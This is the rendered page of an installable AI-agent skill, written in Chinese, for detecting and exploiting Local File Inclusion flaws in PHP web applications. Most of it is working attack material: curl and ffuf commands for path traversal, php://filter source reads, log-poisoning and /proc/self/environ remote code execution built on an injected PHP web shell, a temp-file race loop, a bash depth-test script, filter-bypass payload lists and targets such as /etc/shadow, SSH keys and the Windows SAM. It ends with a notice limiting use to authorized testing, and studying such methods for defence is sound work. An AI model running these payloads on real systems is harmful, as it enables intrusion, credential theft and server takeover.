How to use
- Copy the installation command and review the source package before installing it in your own agent environment.
- Check the source document for required tools, credentials and supported hosts.
- Describe your input and desired deliverable; review the output against the source material.
npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-lfiBefore you start
- Installation does not include a model subscription, API allowance or permission to access your files.
- Repository stars and installation counts describe activity, not an independent quality or security test.
Rendered from the source repository. Headings, examples, code, tables, links, and referenced images are preserved.
本地文件包含 (LFI) 检测和利用
概述
本 Skill 专注于本地文件包含 (LFI) 类型漏洞的检测与利用。
LFI 漏洞发生在应用程序将用户输入直接用作文件路径或在未正确验证的情况下包含文件时。攻击者可通过路径遍历或伪协议读取敏感文件、执行任意代码。
与 exploit-file-download 的区别:
- LFI: 参数值被 include() 或保存为文件内容,危害=代码执行 (RCE)
- 文件下载: 参数值用于下载文件到本地,危害=信息泄露
核心功能
1. LFI 漏洞检测
自动识别以下 LFI 特征:
- 参数模式识别:
file、page、include、dir、document、path、content、title等 - 文件包含模式: 参数值被直接用作
include()或require()的文件路径 - 目录遍历模式:
../序列用于遍历目录 - 伪协议利用:
php://filter、php://input、data:、expect://等 - 响应特征分析: 识别 Linux/Windows 文件内容特征
2. 操作系统自动检测
测试时自动识别目标 OS:
| OS | 特征文件 | 测试路径 |
|---|---|---|
| Linux | /etc/passwd 内容:root:x:0:0: | /etc/passwd, /etc/shadow |
| Windows | C:\Windows\win.ini 内容:[fonts], [extensions] | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
3. 常见 LFI Payload
| 类型 | Payload | 适用场景 |
|---|---|---|
| 路径遍历 | ?title=../../../etc/passwd | 基础目录遍历 |
| 伪协议读取 | ?file=php://filter/convert.base64-encode/resource=/etc/passwd | 读取敏感文件源码 |
| 数据注入 | ?file=data://text/plain;base64,PD9waHAgc3l... | 代码注入 |
| 命令执行 | ?file=expect://ls | RCE(需 expect 扩展) |
4. LFI 利用场景
- 源码读取: 使用
php://filter读取 PHP 源码进行分析 - 配置获取: 读取数据库配置文件获取凭证
- 日志投毒: 通过 LFI 写入日志获取 RCE
- 临时文件: 配合文件上传 getshell
- /proc/self/environ: 通过环境变量注入实现 RCE
工具安装
必备工具
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest使用方式
快速开始
# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"
# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200常见测试场景
1. 基础路径遍历
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"2. 伪协议利用
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"3. 日志投毒 RCE
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 等待日志写入后包含日志文件
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"4. /proc/self/environ 利用
# 步骤 1: 在 User-Agent 注入代码
curl -A "<?php system(\$_GET['c']); ?>" "https://target.com/page.php"
# 步骤 2: 包含环境变量文件
curl "https://target.com/page.php?file=/proc/self/environ&c=id"
# 查看当前进程环境
curl "https://target.com/page.php?file=/proc/self/cmdline"5. 临时文件竞争
# 上传包含 PHP 代码的图片
curl -F "avatar=@shell.gif.php" "https://target.com/upload.php"
# 快速枚举临时文件
for i in {1..100}; do
curl "https://target.com/vul.php?file=/tmp/php$i";
done工具选择指南
| 场景 | 推荐工具 | 命令示例 |
|---|---|---|
| 快速单点测试 | curl | curl "URL?file=../etc/passwd" |
| 批量 Payload 测试 | ffuf | ffuf -u URL -w payloads.txt |
| 深度测试 | 自定义脚本 | 见下方深度测试脚本 |
| 响应分析 | grep/diff | grep -i "root:x:0" response.txt |
深度测试脚本
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done测试清单
侦察阶段
- [ ] 识别所有可能存在 LFI 的参数(file, page, title, include 等)
- [ ] 测试基础路径遍历(../)
- [ ] 确认目标操作系统(Linux/Windows)
- [ ] 测试伪协议可用性(php://filter)
利用阶段
- [ ] 读取系统敏感文件(/etc/passwd, /etc/shadow)
- [ ] 读取 Web 应用配置文件(.env, config.php)
- [ ] 读取 PHP 源码分析应用逻辑
- [ ] 尝试日志投毒获取 RCE
- [ ] 尝试/proc/self/environ 利用
- [ ] 尝试临时文件竞争利用
绕过测试
- [ ] URL 编码绕过(%2e%2e%2f)
- [ ] 双重 URL 编码(%252e%252e%252f)
- [ ] Unicode 混淆(%c0%ae%c0%ae%c0%af)
- [ ] 路径变体(..\, ..//, ..././)
- [ ] 空字节截断(%00)
- [ ] 扩展名绕过(file.php.jpg, file.php.)
敏感文件路径
Linux
# 系统用户
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow
/etc/sudoers
# Web 配置
/var/www/html/wp-config.php
/var/www/html/.env
/var/www/html/config/database.yml
/var/www/html/application/config/parameters.yml
# SSH 密钥
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
/root/.ssh/authorized_keys
# 日志
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslogWindows
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\config\SAM
# Web 配置
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\.env
C:\xampp\htdocs\config.php
# IIS 日志
C:\inetpub\logs\LogFiles\LFI Payload 清单
基础 Payload
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/编码 Payload
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255cPHP 伪协议
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php替代方案
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|---|---|---|
| curl | wget | wget -qO- "URL" 等同于curl -s "URL" |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
参考资料
- 技术文档:
references/lfi_techniques.md- LFI 完整技术详解 - PHP 伪协议:
references/php_wrappers.md- PHP wrapper 参考 - 绕过技术:
references/bypass_techniques.md- 编码和过滤绕过 - RCE 方法:
references/rce_methods.md- 远程代码执行汇总
与 results-storage 集成
发现 LFI 漏洞后,可以存储到数据库:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
最佳实践
- 始终编码 Payload - 使用 URL 编码避免被 WAF 拦截
- 从浅到深测试 - 先测试 1-2 层遍历,再逐步加深
- 记录响应长度 - 成功响应通常长度异常
- 使用 base64 - 读取源码时用 base64 避免代码执行
- 不要忽略 403/404 - 有些 WAF 返回假错误码
授权声明
本 Skill 仅用于授权安全测试。使用前请确保:
- 获得目标系统所有者的明确书面授权
- 测试范围和授权内容已明确定义
- 遵守当地法律法规
未经授权的渗透测试是非法行为。
最后更新: 2026-03-05 版本: 2.0

